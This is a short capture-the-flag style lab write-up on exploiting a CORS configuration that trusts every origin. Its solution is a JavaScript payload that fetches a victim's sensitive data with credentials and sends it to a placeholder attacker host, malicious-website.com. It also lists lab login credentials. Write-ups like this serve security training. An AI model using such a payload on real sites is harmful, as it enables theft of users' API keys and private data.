Problem Statement

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter


Felix

Solution

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<https://vulnerable-website.com/sensitive-victim-data>',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};
</script>

1. Inject above payload
2. Notice that if we visit this, it will automatically add our sensitive info at "log?key="

Proof

Untitled

What have you learnt?

  1. Properly configure CORS

Chensan